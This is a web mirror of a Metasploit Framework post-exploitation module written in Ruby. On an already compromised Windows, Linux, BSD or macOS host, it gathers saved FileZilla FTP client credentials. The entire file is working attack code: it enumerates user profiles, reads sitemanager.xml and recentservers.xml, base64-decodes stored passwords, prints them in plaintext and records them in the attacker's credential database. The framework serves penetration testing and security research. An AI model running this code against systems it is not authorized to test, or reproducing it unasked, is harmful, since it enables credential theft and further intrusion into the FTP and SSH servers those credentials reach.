Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/filezilla_client_cred.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Multi Gather FileZilla FTP Client Credential Collection',
17
'Description' => %q{ This module will collect credentials from the FileZilla FTP client if it is installed. },
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'bannedit', # post port, added support for shell sessions
21
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
22
],
23
'Platform' => %w[bsd linux osx unix win],
24
'SessionTypes' => ['shell', 'meterpreter' ],
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
core_channel_eof
29
core_channel_open
30
core_channel_read
31
core_channel_write
32
stdapi_fs_stat
33
stdapi_sys_config_getenv
34
stdapi_sys_config_getuid
35
]
36
}
37
},
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [],
41
'Reliability' => []
42
}
43
)
44
)
45
end
46
47
def run
48
paths = []
49
case session.platform
50
when 'unix', 'linux', 'bsd'
51
@platform = :unix
52
paths = enum_users_unix
53
when 'osx'
54
@platform = :osx
55
paths = enum_users_unix
56
when 'windows'
57
@platform = :windows
58
profiles = grab_user_profiles
59
profiles.each do |user|
60
next if user['AppData'].nil?
61
62
fzdir = check_filezilla(user['AppData'])
63
paths << fzdir if fzdir
64
end
65
66
else
67
print_error "Unsupported platform #{session.platform}"
68
return
69
end
70
if paths.nil? || paths.empty?
71
print_status('No users found with a FileZilla directory')
72
return
73
end
74
75
get_filezilla_creds(paths)
76
end
77
78
def enum_users_unix
79
if @platform == :osx
80
home = '/Users/'
81
else
82
home = '/home/'
83
end
84
85
if got_root?
86
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
87
userdirs << "/root\n"
88
else
89
userdirs = session.shell_command("ls #{home}#{whoami}/.filezilla")
90
if userdirs =~ /No such file/i
91
return
92
else
93
print_status("Found FileZilla Client profile for: #{whoami}")
94
return ["#{home}#{whoami}/.filezilla"]
95
end
96
end
97
98
paths = Array.new
99
userdirs.each_line do |dir|
100
dir.chomp!
101
next if dir == '.' || dir == '..'
102
103
dir = "#{home}#{dir}" if dir !~ /root/
104
print_status("Checking for FileZilla Client profile in: #{dir}")
105
106
stat = session.shell_command("ls #{dir}/.filezilla/sitemanager.xml")
107
next if stat =~ /No such file/i
108
109
paths << "#{dir}/.filezilla"
110
end
111
return paths
112
end
113
114
def check_filezilla(filezilladir)
115
print_status("Checking for Filezilla directory in: #{filezilladir}")
116
session.fs.dir.foreach(filezilladir) do |dir|
117
if dir =~ /FileZilla/
118
print_status("Found #{filezilladir}\\#{dir}")
119
return "#{filezilladir}\\#{dir}"
120
end
121
end
122
return nil
123
end
124
125
def report_cred(opts)
126
service_data = {
127
address: opts[:ip],
128
port: opts[:port],
129
service_name: opts[:service_name],
130
protocol: 'tcp',
131
workspace_id: myworkspace_id
132
}
133
134
credential_data = {
135
module_fullname: fullname,
136
post_reference_name: refname,
137
session_id: session_db_id,
138
origin_type: :session,
139
private_data: opts[:password],
140
private_type: :password,
141
username: opts[:username]
142
}.merge(service_data)
143
144
login_data = {
145
core: create_credential(credential_data),
146
status: Metasploit::Model::Login::Status::UNTRIED
147
}.merge(service_data)
148
149
create_credential_login(login_data)
150
end
151
152
def get_filezilla_creds(paths)
153
sitedata = ''
154
recentdata = ''
155
creds = []
156
157
paths.each do |path|
158
print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")
159
160
# @todo use File.read_file
161
if session.type == 'shell'
162
sites = session.shell_command("cat #{path}/sitemanager.xml")
163
recents = session.shell_command("cat #{path}/recentservers.xml")
164
print_status("recents: #{recents}")
165
creds = [parse_accounts(sites)]
166
creds << parse_accounts(recents) unless recents =~ /No such file/i
167
else
168
sitexml = "#{path}\\sitemanager.xml"
169
present = begin
170
session.fs.file.stat(sitexml)
171
rescue StandardError
172
nil
173
end
174
if present
175
sites = session.fs.file.new(sitexml, 'rb')
176
sitedata << sites.read until sites.eof?
177
sites.close
178
print_status('Parsing sitemanager.xml')
179
creds = [parse_accounts(sitedata)]
180
else
181
print_status('No saved connections where found')
182
end
183
184
recent_file = "#{path}\\recentservers.xml"
185
recent_present = begin
186
session.fs.file.stat(recent_file)
187
rescue StandardError
188
nil
189
end
190
if recent_present
191
recents = session.fs.file.new(recent_file, 'rb')
192
recentdata << recents.read until recents.eof?
193
recents.close
194
print_status('Parsing recentservers.xml')
195
creds << parse_accounts(recentdata)
196
else
197
print_status('No recent connections where found.')
198
end
199
end
200
201
creds.each do |cred|
202
cred.each do |loot|
203
report_cred(
204
ip: loot['host'],
205
port: loot['port'],
206
service_name: 'ftp',
207
username: loot['user'],
208
password: loot['password']
209
)
210
end
211
end
212
end
213
end
214
215
def parse_accounts(data)
216
creds = []
217
218
doc = begin
219
REXML::Document.new(data).root
220
rescue StandardError
221
nil
222
end
223
return [] if doc.nil?
224
225
doc.elements.to_a('//Server').each do |sub|
226
account = {}
227
account['host'] = begin
228
sub.elements['Host'].text
229
rescue StandardError
230
'<unknown>'
231
end
232
account['port'] = begin
233
sub.elements['Port'].text
234
rescue StandardError
235
'<unknown>'
236
end
237
238
case sub.elements['Logontype'].text
239
when '0'
240
account['logontype'] = 'Anonymous'
241
when /1|4/
242
account['user'] = begin
243
sub.elements['User'].text
244
rescue StandardError
245
'<unknown>'
246
end
247
if sub.elements['Pass'].attributes['encoding'] == 'base64'
248
account['password'] = begin
249
Rex::Text.decode_base64(sub.elements['Pass'].text)
250
rescue StandardError
251
'<unknown>'
252
end
253
else
254
account['password'] = begin
255
sub.elements['Pass'].text
256
rescue StandardError
257
'<unknown>'
258
end
259
end
260
when /2|3/
261
account['user'] = begin
262
sub.elements['User'].text
263
rescue StandardError
264
'<unknown>'
265
end
266
account['password'] = '<blank>'
267
end
268
269
if account['user'].nil?
270
account['user'] = '<blank>'
271
end
272
if account['password'].nil?
273
account['password'] = '<blank>'
274
end
275
276
case sub.elements['Protocol'].text
277
when '0'
278
account['protocol'] = 'FTP'
279
when '1'
280
account['protocol'] = 'SSH'
281
when '3'
282
account['protocol'] = 'FTPS'
283
when '4'
284
account['protocol'] = 'FTPES'
285
end
286
creds << account
287
288
print_status(' Collected the following credentials:')
289
print_status(" Server: #{account['host']}:#{account['port']}")
290
print_status(" Protocol: #{account['protocol']}")
291
print_status(" Username: #{account['user']}")
292
print_status(" Password: #{account['password']}")
293
print_line
294
end
295
296
return creds
297
end
298
299
def got_root?
300
case @platform
301
when :windows
302
if session.sys.config.getuid =~ /SYSTEM/
303
return true
304
else
305
return false
306
end
307
else # unix, bsd, linux, osx
308
ret = whoami
309
if ret =~ /root/
310
return true
311
else
312
return false
313
end
314
end
315
end
316
317
def whoami
318
if @platform == :windows
319
session.sys.config.getenv('USERNAME')
320
else
321
session.shell_command('whoami').chomp
322
end
323
end
324
end
325
326